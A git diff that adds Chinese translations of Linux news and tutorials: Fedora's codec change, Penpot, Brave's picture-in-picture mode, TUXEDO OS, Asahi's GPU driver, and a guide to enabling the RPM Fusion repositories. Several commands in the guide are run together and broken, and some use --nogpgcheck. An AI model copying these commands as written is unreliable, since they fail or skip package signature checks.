https://www.freedesktop.org/wiki/Specifications/ +[12]: https://news.itsfoss.com/system76-rust-cosmic-desktop/ +[12a]: https://news.itsfoss.com/content/images/wordpress/2022/01/system76-rust-based-distro-ft.png \ No newline at end of file diff --git a/published/202210/20220928 Oh No!😱Fedora is Dropping Support for Popular Video Codecs [Here-s Why!].md b/published/202210/20220928 Oh No!😱Fedora is Dropping Support for Popular Video Codecs [Here-s Why!].md new file mode 100644 index 0000000000..2f9dade857 --- /dev/null +++ b/published/202210/20220928 Oh No!😱Fedora is Dropping Support for Popular Video Codecs [Here-s Why!].md @@ -0,0 +1,108 @@ +[#]: subject: "Oh No!😱Fedora is Dropping Support for Popular Video Codecs [Here's Why!]" +[#]: via: "https://news.itsfoss.com/fedora-drops-vaapi-codec/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15113-1.html" + +哦,不!Fedora 正在放弃对流行的视频编解码器的支持 +====== + +> Fedora 37(和 36)可能不再允许你使用一些流行的编解码器来方便地使用视频的图形加速功能。 + +![哦,不!😱Fedora正在放弃对流行视频编解码器的支持[这里有原因!]][1] + +Fedora 是一个流行的 Linux 发行版,迎合了那些希望在他们的工作站(和服务器)上使用最先进技术的用户。 + +它没有搭载任何专有组件,默认情况下坚持使用完全开源的软件库。 + +虽然这对一些人来说已经很不方便了,但现在看来,另一个变化可能会困扰期待 Fedora 37 的用户。 + +[最近在 Fedora 上的一个 Mesa 的提交][2] 告诉我们,由于法律问题,**H.264、H.265 和 VC-1** 编解码器的视频加速 API(VAAPI)的支持已经被禁用。 + +这一变化可能也会被回传到 Fedora 36。 + +> 💡 H.264 是大多数视频行业使用的主流视频编解码器。 +> +> 例如,苹果公司广泛使用 H.264 编解码器,用于 iPhone 手机拍摄的照片和视频。你可以阅读此 [文档][3] 来了解更多。 + +Fedora 项目论坛的一位成员 [首先发现][4] 了 Fedora 中的这一变化,他将其描述为 “*F36 的一大退步*”。 + +### 这对 Fedora 用户来说是坏消息吗? + +是的,基本上是的。 + +**主要是,它将影响使用开源驱动程序的 AMD GPU 用户**,阻止他们使用 **GPU 加速** 来播放需要使用这些编解码器的视频内容。 + +此外,它还会影响到 **任何使用开源图形驱动的用户**,即使他们在英特尔芯片上运行 iGPU。Fedora 开发者还没有对此提供任何澄清,但你可以自己测试一下。 + +如果你在英伟达显卡上使用专有驱动程序,你就没有什么可担心的。 + +运行旧硬件的用户也可能有问题,他们的系统可能不支持这些编解码器。 + +这些编解码器最常用在你从 BT 或各种服务中下载的视频中,这些视频还没有转移到更新一代的编解码器(如 **AV1** 和 **VP9**)。 + +我相信,这是互联网上的**大部分**视频的情况。 + +一些流媒体平台也使用这些编解码器在其各自的平台上提供内容,这可能导致用户在试图通过其服务访问内容时面临问题。 + +### 这是否影响到每个人? + +如果你是那些观看 YouTube 视频的人,不使用任何需要这些编解码器的视频的平台或下载它们,你就不会有任何问题。 + +### Fedora 正在避免法律上的麻烦 + +还没有人起诉 Fedora 或强迫他们这样做。然而,正如 [Phoronix][6] 所指出的,Mesa 的一个变化最近允许开发者选择性地禁用编解码器,以帮助避免法律纠纷和软件专利冲突。 + +因此,为了避免法律上的混乱,Fedora 进行了这一改变。 + +H.264 和 H.265 的专利属于一家名为 [MPEG LA][7] 的公司,该公司专门用于持有视频编解码器和显示标准领域的专利。 + +而 VC-1 的专利属于 [SMPTE][8],这是一个由媒体和娱乐机构的专业人士管理的团体。 + +考虑到用户在购买显卡时已经支付了使用这些编解码器的许可,我们仍然不确定为什么会这样。你可以在 [Fedora 的法律列表会话][9] 中阅读更多相关信息。 + +### 可能的解决方法是什么? + +**显然**,你必须依赖基于 CPU 的解码了。当然,你也可以使用官方或第三方的 Mesa 构建版本。 + +Flatpak 应用程序可能允许你观看图形加速的视频内容而没有问题。但是,这要取决于软件的维护者。 + +但是,对于大多数用户来说,这可能是一个不方便的解决方案。 + +另一个解决方法可能是在旨在包含第三方应用程序的 RPM Fusion 仓库中单独包含支持 VAAPI 的编解码器。 + +然而,负责 Fedora RPM Fusion 仓库的开发者对维护 Fedora Mesa 3D 的复刻版本不感兴趣。该开发者提到: + +> rpmfusion 基本上没有兴趣去打包和维护它,而且保持仓库与 Fedora 同步对我来说也不是一个优先事项。 + +![][10] + +*💬 你对 Fedora 的这一变化有什么看法?请在下面的评论中告诉我们你的想法。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/fedora-drops-vaapi-codec/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/fedora-dropping-support-for-popular-video-codecs.png +[2]: https://src.fedoraproject.org/rpms/mesa/c/94ef544b3f2125912dfbff4c6ef373fe49806b52?branch=rawhide +[3]: https://support.apple.com/en-us/HT207022 +[4]: https://lists.fedoraproject.org/archives/list/devel@lists.fedoraproject.org/thread/PYUYUCM3RGTTN4Q3QZIB4VUQFI77GE5X/ +[5]: https://youtu.be/ibXKKllz4xQ +[6]: https://www.phoronix.com/news/Mesa-Optional-Video-Codecs +[7]: https://en.wikipedia.org/wiki/MPEG_LA +[8]: https://en.wikipedia.org/wiki/Society_of_Motion_Picture_and_Television_Engineers +[9]: https://lists.fedoraproject.org/archives/list/legal@lists.fedoraproject.org/thread/M4LTGLHY5JX42IHC45WNWB5FH2JIFMAS/ +[10]: https://news.itsfoss.com/content/images/2022/09/fedora-rpm-mesa.jpg +[11]: https://www.humblebundle.com/books/linux-no-starch-press-books?partner=itsfoss diff --git a/published/202210/20220928 Penpot, Gains Additional Users Thanks To Adobe-s Figma Purchase.md b/published/202210/20220928 Penpot, Gains Additional Users Thanks To Adobe-s Figma Purchase.md new file mode 100644 index 0000000000..f573d4c6f8 --- /dev/null +++ b/published/202210/20220928 Penpot, Gains Additional Users Thanks To Adobe-s Figma Purchase.md @@ -0,0 +1,43 @@ +[#]: subject: "Penpot, Gains Additional Users Thanks To Adobe’s Figma Purchase" +[#]: via: "https://www.opensourceforu.com/2022/09/penpot-gains-additional-users-thanks-to-adobes-figma-purchase/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15091-1.html" + +由于 Adobe 收购了 Figma,Penpot 获得了更多用户 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/01/123134pkwwwnakfpsds7p6.jpg) + +> 在 Adobe 同意以 200 亿美元收购 Figma 两周后,开源设计项目 Penpot 背后的公司 Kaleidos 表示已筹集到 800 万美元的新资金。 + +自 Adobe 透露打算向著名设计工具背后的公司 Figma 投资 200 亿美元以来,已经过去了 13 天。Penpot 是个开源替代品,当时有过一段繁荣。Penpot 现在有额外的资金来支持这种扩张。据其母公司 Kaleidos 周二称,得益于 800 万美元的资金,Penpot 的协作设计软件的开发将继续进行。该公司表示,当 Adobe 同意购买 Figma 后,其注册用户在一天内就增加了 5600%。 + +为了支持不断增加的访问量,Penpot 在周末增强了托管 Web 应用程序的基础设施。据该公司称,本地部署量增加了 400%,托管 Penpot 开源代码的 GitHub 存储库的星标数出现了硅谷流行的曲棍球棒图。本轮投资由思科支持的 Decibel 牵头,投资方 Athos Capital 也参与其中。Decibel 的创始合伙人 Jon Sakoda 表示,这个时机可能看起来特别恰当,但这只是巧合,因为该协议是在 8 月中旬达成的,在大家兴趣飙升的几周前。 + +Adobe 在给 CNBC 的一份声明中表示,与 Figma 相结合,该公司将“让协作创意更轻松、更顺畅,并让数百万用户更有创造力和生产力”,而且它“将加速 Figma 的创新路线图并提供访问更广泛的客户群”。 + +Penpot 仍然是很难存活的企业。设计师目前可以使用 Penpot 开源软件的托管版本或免费下载。但 Penpot CEO Ruiz-Múzquiz 并不是唯一一个将 Adobe-Figma 合作伙伴关系视为重要可能性的人。在 Reddit 的 Figma 讨论板上有个帖子,标题为“如果你希望看到 Adobe Figma 交易失败,请投票。”有 400 多人投了支持。让 Figma 不属于 Adobe,这是英国设计机构 Rejiggle 的创始人 Daryl Ginn 在 Twitter 上提出的建议。 + +Adobe 表示,如果收购在 2023 年按预期进行,Figma 的联合创始人兼 CEO Dylan Field 将继续领导该公司。这并不能减轻一些怀疑论者的恐惧。尼日利亚品牌设计师 Chisaokwu Joboson 在 Twitter 上的一篇的帖子收到了 3,000 多个赞,他的帖子似乎暗示,在 Adobe 的领导下,Figma 存储文件的简单性将结束,它将开始更像是一个强大的桌面应用程序,需要手动保存。 + +预期中的合并也不是所有人都反对。例如,荷兰设计师 Fons Mans 在 Twitter 上表示,能够使用 Figma 同时还能够在 Photoshop 和其他程序中“处理你的照片”将是“一个梦想”。 + +由于直接共享和协作编辑等功能,Figma 最初吸引了一些摆脱 Adobe Creative Cloud 工具的设计师。尽管其被宣传为竞争对手,但据报道,Adobe 的 Creative Cloud XD 在七年后每年的经常性收入仅 1500 万美元。在 Twitter Spaces 的讨论中,产品主管 Scott Belsky 表示 Adobe 致力于帮助 XD 的用户。然而,Ruiz-Múzquiz 声称,出售的时机非常有利于他的公司的发展。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/penpot-gains-additional-users-thanks-to-adobes-figma-purchase/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202210/20220929 How to Use Picture in Picture Mode in Brave Browser.md b/published/202210/20220929 How to Use Picture in Picture Mode in Brave Browser.md new file mode 100644 index 0000000000..fb7dc44dae --- /dev/null +++ b/published/202210/20220929 How to Use Picture in Picture Mode in Brave Browser.md @@ -0,0 +1,103 @@ +[#]: subject: "How to Use Picture in Picture Mode in Brave Browser" +[#]: via: "https://itsfoss.com/picture-in-picture-brave/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15137-1.html" + +如何在 Brave 浏览器中使用画中画模式 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/13/003034agqsflug771cl3uj.jpg) + +> Brave 是一款出色的类似于 Chrome,但可 [替代 Chrome 的网络浏览器][1]。 + +[Firefox 和 Brave][2] 是我喜欢在 Linux 系统上使用的两种浏览器。两者都有不同的优势。 + +Firefox 比 Brave 做得更好的一件事就是画中画(PIP)模式,它适用于 YouTube、Netflix 和大多数流媒体网站。 + +Brave 也有画中画模式,但它是如此隐藏,以至于你觉得它根本没有 PIP 支持。 + +内置画中画适用于某些网站(如 YouTube),但可能不适用于其他网站(如 Prime Video)。不用担心!你可以为此使用专用扩展。 + +让我在本教程中展示这两种方法。 + +### 方法 1:在视频上双击右键 + +**技巧是依次单击两次右键,你应该会看到画中画模式选项。** + +让我通过一个例子来说明这一点。在 Brave 中播放 YouTube 视频。现在右键单击视频。 + +![第一次右键单击后将光标从上下文菜单稍微移开][3] + +再次右键单击。它应该在视频上,但不在上一个上下文菜单上,而在视频的其他地方。 + +现在你应该看到另一个带有画中画选项的上下文菜单。 + +![你应该在第二次右键单击中看到画中画选项][4] + +选择画中画,视频将从窗口中弹出。你可以将其移动到浏览器中的任何位置。 + +![Brave 浏览器画中画模式][5] + +当你使用其他应用时,你还可以让它在屏幕上的任何位置播放。 + +![Brave 在画中画模式中播放影片][6] + +在最近的 Brave 版本中,你可以根据自己的喜好调整弹出窗口的大小。 + +我不明白为什么 Brave 把它隐藏成这样。为什么不突出它? + +无论如何,这适用于 YouTube 等网站,但可能不适用于 Prime 视频。如果你愿意,你可以安装一个扩展。 + +### 方法 2:使用画中画扩展 + +谷歌提供了一个官方插件,可让你在谷歌 Chrome 中获得画中画功能。由于 Brave 基于 Chromium,你可以在 Brave 中使用相同的扩展。 + +> **[画中画扩展][7]** + +进入扩展页面并点击 “添加到 BraveAdd to Brave” 按钮。 + +![为 Brave 添加画中画扩展][8] + +当你单击它时,它会提示添加扩展的选项。 + +![添加扩展][9] + +添加扩展后,你应该会在浏览器的右上角看到它。 + +![使用画中画扩展][10] + +播放视频时,单击该扩展图标,视频应该会弹出。 + +### 你能在 Brave 中启用 PIP 模式吗? + +画中画模式已成为休闲流媒体消费的必备功能。我觉得奇怪的是,Brave 和其他浏览器没有足够重视它。 Firefox 处理得很好。 + +我希望这个快速的小技巧可以帮助你在 Brave 浏览器中获得 PIP 体验。你更喜欢这两种方法中的哪一种?右键单击还是扩展? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/picture-in-picture-brave/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/open-source-browsers-linux/ +[2]: https://itsfoss.com/brave-vs-firefox/ +[3]: https://itsfoss.com/wp-content/uploads/2022/09/getting-picture-in-picture-in-brave-1.webp +[4]: https://itsfoss.com/wp-content/uploads/2022/09/getting-picture-in-picture-in-brave-2.webp +[5]: https://itsfoss.com/wp-content/uploads/2022/09/brave-picture-in-picture-youtube.webp +[6]: https://itsfoss.com/wp-content/uploads/2022/09/brave-playing-picture-in-picture-mode-on-screen.webp +[7]: https://chrome.google.com/webstore/detail/picture-in-picture-extens/hkgfoiooedgoejojocmhlaklaeopbecg/related?hl=en-US +[8]: https://itsfoss.com/wp-content/uploads/2022/09/picture-in-picture-extension-google-chrome-web.png +[9]: https://itsfoss.com/wp-content/uploads/2022/09/add-picture-in-picture-extension-to-brave.webp +[10]: https://itsfoss.com/wp-content/uploads/2022/09/picture-in-picture-extension.png diff --git a/published/202210/20220930 [Exclusive] Tuxedo Makes Ubuntu-based -TUXEDO OS- Available For All.md b/published/202210/20220930 [Exclusive] Tuxedo Makes Ubuntu-based -TUXEDO OS- Available For All.md new file mode 100644 index 0000000000..c4f72a7631 --- /dev/null +++ b/published/202210/20220930 [Exclusive] Tuxedo Makes Ubuntu-based -TUXEDO OS- Available For All.md @@ -0,0 +1,142 @@ +[#]: subject: "[Exclusive] Tuxedo Makes Ubuntu-based 'TUXEDO OS' Available For All" +[#]: via: "https://news.itsfoss.com/tuxedo-os/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15110-1.html" + +Tuxedo 已对所有用户开放基于 Ubuntu 的 TUXEDO OS +====== + +> TUXEDO OS 是一个基于 Ubuntu 的 Linux 发行版,旨在将 TUXEDO 在 Linux 方面的专业知识也带给非 TUXEDO 用户。 + +![[独家] Tuxedo 已对所有用户开放基于 Ubuntu 的 'TUXEDO OS'][1] + +又一个基于 Ubuntu 的 Linux 发行版?😕 + +不完全是!**TUXEDO 计算机公司** 是一家硬件制造商,以其专注于 Linux 的笔记本电脑和计算机而闻名。 + +**TUXEDO OS 与 Ubuntu 之间存在着一些有趣的差异**。 + +虽然他们已经在笔记本电脑/计算机上提供预装 TUXEDO OS 的选项,但是它并未对所有人开放。 + +终于,他们决定将其发行版的第一个版本作为 **TUXEDO OS 1** 开放,该版本现已可供下载。 + +这也意味着你可以在自己的非 TUXEDO 系统上试用它。 + +所以这个思路很像 System76 的 Pop!_OS,所以这并不算一件坏事 👌 + +### 搭配 KDE 的 TUXEDO OS 1 + +![tuxedo 桌面][2] + +TUXEDO OS 1 是基于 [Ubuntu 22.04 LTS][3] 的; 所以它应该可以直接在大多数设备上运行。 + +与 System76 的 Pop!_OS 不同,TUXEDO OS 搭载了 [KDE Plasma 5.24.6][4]。因此,它应当提供了一个 Windows 用户也较为熟悉的用户界面。 + +但是,TUXEDO OS 还包括一些额外的功能,例如 TUXEDO 控制中心,用于微调你的硬件(CPU/风扇等),以及 TUXEDO Tomte,一个用于解决驱动程序/缺少包问题的配置服务,但是它或许能,或许不能在其他硬件配置上工作。 + +说到这里,让我们看看 TUXEDO OS 及其提供的功能。 + +### TUXEDO OS,基于 KDE 的定制化 Ubuntu 体验 + +用户体验正如预期一样,与任何基于 KDE 的 Ubuntu 发行版相同。 + +> 📣 我将 TUXEDO OS(预览版)用做我的主要系统来体验它。 + +你会在应用和菜单上发现带有红色调的 TUXEDO 徽标。它还具有令人耳目一新的壁纸。 + +![tuxedo 菜单][5] + +除了定制化的 KDE Plasma 主题,还有一些其他的变化,例如: + +* 它使用了 PipeWire 作为声音服务器,而不是 PulseAudio。 +* GRUB 中启用了 os-prober 功能,让用户可以方便地检测已安装的其他操作系统。 +* .deb 作为首选的软件包格式,而 Snap 默认情况下被禁用。 +* 从 NetworkManagerConnectivity 检查中移除了 Canonical 的链接。 + +#### 软件可用性? + +你可以通过 “发现Discover” 应用来找到所有流行的软件工具,其中包括 Ubuntu 的仓库和 TUXEDO 的仓库。 + +它包含了 **Firefox、Thunderbird、LibreOffice、VLC、Lutris 和 Heroic Games Launcher** 等必备应用程序。所以我认为你不会觉得它们很臃肿。 + +![tuxedo discover 应用][10] + +我还注意到它默认启用了 Flatpak 集成。 + +你可以在他们的 [官方网页][11] 上了解有关可用软件的更多信息。 + +#### 这也给我们带来了一个重要的亮点 + +❌ TUXEDO OS 不会默认安装 Snap。对于 Firefox,它会像 Linux Mint 一样附带 deb 包安装。 + +✅ 值得注意的是,TUXEDO OS 22.04 LTS 附带了 Nvidia 驱动程序。 + +因此,我可以毫不费力地将它安装在带有 RTX 3060 Ti 显卡的系统上。 + +### TUXEDO 附加功能 + +如上所述,TUXEDO OS 附带了一些专为增强 Tuxedo 硬件的体验而量身定制的附加功能。 + +控制中心是监控你的系统、选择电源配置文件、控制外部水冷([TUXEDO Aquaris][12])等的绝佳工具。 + +![tuxedo 控制中心][13] + +虽然控制中心不是为非 TUXEDO 设备量身定制的,但它在大多数情况下仍然能够正常工作。 + +还有一个 TUXEDO WebFAI Creator 程序(定制的 BalenaEtcher)来烧录用于操作系统安装的 U 盘。 + +![tuxedo webfai][14] + +还有,不要忘记 TUXEDO Tomte,它无法在我的系统上运行,但可以很完美的在 TUXEDO 设备上作为配置服务运行: + +![][15] + +### 下载 TUXEDO OS 1 + +TUXEDO OS 带来了非常精致的体验。TUXEDO 背后的团队在让 Linux 运行在他们的一些最新笔记本电脑上拥有丰富的经验。因此,使用他们的 Linux 发行版,你可以对自己的体验充满信心。 + +如果你有兴趣,还可以找到关于 [TUXEDO OS 入门][16] 的官方文章。 + +**如果你希望获得一个基于 KDE 的定制化 Ubuntu 体验,TUXEDO OS 1 是一个不错的选择。** + +你可以通过使用它来支持他们的计划,这可能会让你决定购买一台 TUXEDO 设备;你永远不知道以后会发生什么,对吧? + +你可以从其官方网站下载它,并在下方的评论区中分享你的想法。 + +> **[下载 TUXEDO OS 1][17]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/tuxedo-os/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/tuxedo-os-1.png +[2]: https://news.itsfoss.com/content/images/2022/09/tuxedo-home.jpg +[3]: https://news.itsfoss.com/ubuntu-22-04-release/ +[4]: https://news.itsfoss.com/kde-plasma-5-24-lts-release/ +[5]: https://news.itsfoss.com/content/images/2022/09/tuxedo-menu.png +[6]: https://itsfoss.com/properly-theme-kde-plasma/ +[7]: https://itsfoss.com/properly-theme-kde-plasma/ +[8]: https://itsfoss.com/get-linux-laptops/ +[9]: https://itsfoss.com/get-linux-laptops/ +[10]: https://news.itsfoss.com/content/images/2022/09/tuxedo-os-repositories.png +[11]: https://www.tuxedocomputers.com/en/Featured-KDEs-outstanding-applications-and-tools.tuxedo +[12]: https://www.tuxedocomputers.com/en/TUXEDO-Aquaris.tuxedo +[13]: https://news.itsfoss.com/content/images/2022/09/tuxedo-os-control-center.png +[14]: https://news.itsfoss.com/content/images/2022/09/tuxedo-webfai.jpg +[15]: https://news.itsfoss.com/content/images/2022/09/tuxedo-tomte.jpg +[16]: https://www.tuxedocomputers.com/en/First-Steps-with-TUXEDO-OS.tuxedo +[17]: https://www.tuxedocomputers.com/os +[18]: https://www.humblebundle.com/books/linux-no-starch-press-books?partner=itsfoss diff --git a/published/202210/20221001 A Native Linux GPU Driver for Apple Silicon is Almost Ready!.md b/published/202210/20221001 A Native Linux GPU Driver for Apple Silicon is Almost Ready!.md new file mode 100644 index 0000000000..7b83d23f04 --- /dev/null +++ b/published/202210/20221001 A Native Linux GPU Driver for Apple Silicon is Almost Ready!.md @@ -0,0 +1,68 @@ +[#]: subject: "A Native Linux GPU Driver for Apple Silicon is Almost Ready!" +[#]: via: "https://news.itsfoss.com/linux-gpu-driver-apple/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "KevinZonda" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15114-1.html" + +一个适用于苹果芯片的原生 Linux GPU 驱动程序几乎就绪! +====== + +> 苹果 M1 上的原生 Linux GPU 驱动?它就快来了! + +![一个适用于苹果芯片的原生 Linux GPU 驱动程序几乎就绪!][1] + +让 Linux 在 苹果芯片Apple Silicon 设备上工作是我们很多人的愿望! + +感谢 [Asahi Linux 项目][2],它现在对测试者来说已经成为现实。当然,它还没有准备好进入最佳时期,但如果你是一个资深 Linux 用户,你现在就可以在苹果 M1/M2 设备上尝试 Linux。 + +现在,Linux 开发者 **Asahi Lina** 的一个令人兴奋的进展引起了我们所有人的注意。 + +**我们可能会比预期更早地拥有一个用 Rust 编写的原生 GPU 驱动程序。** + +### 所以,这意味着什么? + +几个月前,Asahi Lina 加入了 Asahi Linux 项目,并开始 [开发一个驱动程序原型][3] 以在 Linux 上运行图形应用程序。 + +现在,通过更多的调整和一些来自 Asahi Lina 对 M1 GPU 硬件接口的逆向工程的惊人的贡献,她已经成功地在苹果 M1 芯片上运行了 GNOME、KDE 应用程序,做到了在 Firefox 上播放 YouTube 等事情! + +以下是她 [推特][4] 的内容: + +> GNOME 运行了!!Firefox 浏览器可以运行!你可以看 YouTube,玩 Neverball,运行 KDE 应用程序,以及更多!! 没有崩溃!!! +> +> 在苹果 M1 的原生 Linux GPU 驱动上!! + +需要注意的是,这还没有在苹果 M2 上测试过。 + +这里还有个视频,你可以看到它运行的情况: + +![它工作了!GNOME、Firefox、KDE 应用和所有东西!!!!][5] + +她还解释说: + +> 我使用了一个糟糕的黑科技来解决一个稳定性问题,这影响了性能,但它证明了这是唯一剩下的主要问题!一旦我把它修复好了,我们就会有完整的性能和稳定性!然后就只剩下 Mesa 驱动程序的修复了!!! + +当然,这还只是处于早期的开发,我们甚至没有在 Linux 内核中拥有 Rust 实现。所以,当 Rust 开始进入主线版本时,也就是 Linux 内核 6.1 或更新版本时,你可能会看到它越来越接近现实。 + +尽管如此,这对 Asahi Linux 来说是一个不可思议的里程碑。随着一些发展,用户一定急于在苹果芯片设备上尝试 Linux。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-gpu-driver-apple/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[KevinZonda](https://github.com/KevinZonda) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/native-apple-linux-gpu.png +[2]: https://news.itsfoss.com/asahi-linux-announcement/ +[3]: https://asahilinux.org/2022/07/july-2022-release/ +[4]: https://twitter.com/LinaAsahi/status/1575343067892051968 +[5]: https://youtu.be/k0cnMUroMlQ diff --git a/published/202210/20221002 How to Enable RPM Fusion Repo in Fedora, CentOS, RHEL.md b/published/202210/20221002 How to Enable RPM Fusion Repo in Fedora, CentOS, RHEL.md new file mode 100644 index 0000000000..08529949f5 --- /dev/null +++ b/published/202210/20221002 How to Enable RPM Fusion Repo in Fedora, CentOS, RHEL.md @@ -0,0 +1,206 @@ +[#]: subject: "How to Enable RPM Fusion Repo in Fedora, CentOS, RHEL" +[#]: via: "https://www.debugpoint.com/enable-rpm-fusion-fedora-rhel-centos/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15145-1.html" + +如何在 Fedora、CentOS、RHEL 中启用 RPM Fusion 仓库 +====== + +> 本指南解释了在 Fedora Linux 发行版中启用第三方软件仓库 RPM Fusion 的步骤。 + +[RPM Fusion][1] 软件仓库是一个社区维护的软件仓库,它为 Fedora Linux 提供额外的软件包,这些软件包不是由 Fedora 官方团队分发,例如 DVD 播放、媒体播放、来自 GNOME 和 KDE 的软件等。这是因为许可证、其他法律原因和特定国家/地区的软件规范而导致的。 + +RPM Fusion 为 Red Hat Enterprise Linux(RHEL)以及 Fedora 提供了 .rpm 包。 + +本指南介绍了在 Fedora Linux 中启用 RPM Fusion 仓库所需的步骤。本指南适用于所有 Fedora 发行版本。 + +这在所有当前支持的 Fedora 版本(35、36 和 37)中进行了测试。 + +![](https://img.linux.net.cn/data/attachment/album/202210/16/111338jjr0eh5cjgq017n5.jpg) + +### 如何在 Fedora Linux、RHEL、CentOS 中启用 RPM Fusion 仓库 + +RPM Fusion 有两种版本的仓库:自由和非自由。 + +顾名思义,自由版包含软件包的自由版本,非自由版包含封闭源代码的编译软件包和“非商业”开源软件。 + +在继续之前,首先检查你是否安装了 RPM fusion。打开终端并运行以下命令。 + +``` +dnf repolist | grep rpmfusion +``` + +如果安装了 RPM,你应该会看到如下所示的消息。就不用下面的步骤。如果未安装,你可以继续执行以下步骤。 + +![RPM Fusion 已安装][3] + +打开终端并根据你的操作系统版本运行以下命令。请注意,这些命令包含自由和非自由版本。如果你愿意,你可以在运行时省略下面的任何一个。 + +#### Fedora + +自由版: + +``` +sudo dnf install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm +``` + +非自由版: + +``` +sudo dnf install https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm +``` + +#### 在 Silverblue 上使用 rpm-ostree + +自由版: + +``` +sudo rpm-ostree install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm +``` + +非自由版: + +``` +sudo rpm-ostree install https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm +``` + +#### RHEL 8 + +先安装 EPEL: + +``` +sudo dnf install --nogpgcheck https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm +``` + +自由版: + +``` +sudo dnf install --nogpgcheck https://download1.rpmfusion.org/free/el/rpmfusion-free-release-8.noarch.rpm +``` + +非自由版: + +``` +sudo dnf install --nogpgcheckhttps://download1.rpmfusion.org/nonfree/el/rpmfusion-nonfree-release-8.noarch.rpm +``` + +开发相关软件包: + +``` +sudo subscription-manager repos --enable "codeready-builder-for-rhel-8-$(uname -m)-rpms" +``` + +#### CentOS 8 + +先安装 EPEL: + +``` +sudo dnf install --nogpgcheck https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm +``` + +自由版: + +``` +sudo dnf install --nogpgcheck https://download1.rpmfusion.org/free/el/rpmfusion-free-release-8.noarch.rpm +``` + +非自由版: + +``` +sudo dnf install --nogpgcheckhttps://download1.rpmfusion.org/nonfree/el/rpmfusion-nonfree-release-8.noarch.rpm +``` + +启用 PowerTools: + +``` +sudo dnf config-manager --enable PowerTools +``` + +### 附加说明 + +RPM Fusion 还可以帮助用户安装来自 GNOME 软件或 KDE Discover 的软件包。要在 Fedora 中启用它,请运行以下命令: + +``` +sudo dnf groupupdate core +``` + +你还可以通过以下命令启用 RPM Fusion 来使用 gstreamer 和其他多媒体播放包来播放媒体文件。 + +``` +sudo dnf groupupdate multimedia --setop="install_weak_deps=False" --exclude=PackageKit-gstreamer-plugin +``` + +``` +sudo dnf groupupdate sound-and-video +``` + +启用 RPM Fusion 以使用 libdvdcss 播放 DVD。 + +``` +sudo dnf install rpmfusion-free-release-taintedsudo dnf install libdvdcss +``` + +通过以下命令启用 RPM Fusion 以启用非 FLOSS 硬件包。 + +``` +sudo dnf install rpmfusion-nonfree-release-taintedsudo dnf install *-firmware +``` + +运行命令后,如果你使用的是 Fedora 或 CentOS/RHEL,请在重启前运行以下命令。 + +``` +sudo dnf check-updatesudo dnf update +``` + +### 如何使用 dnf 删除仓库 + 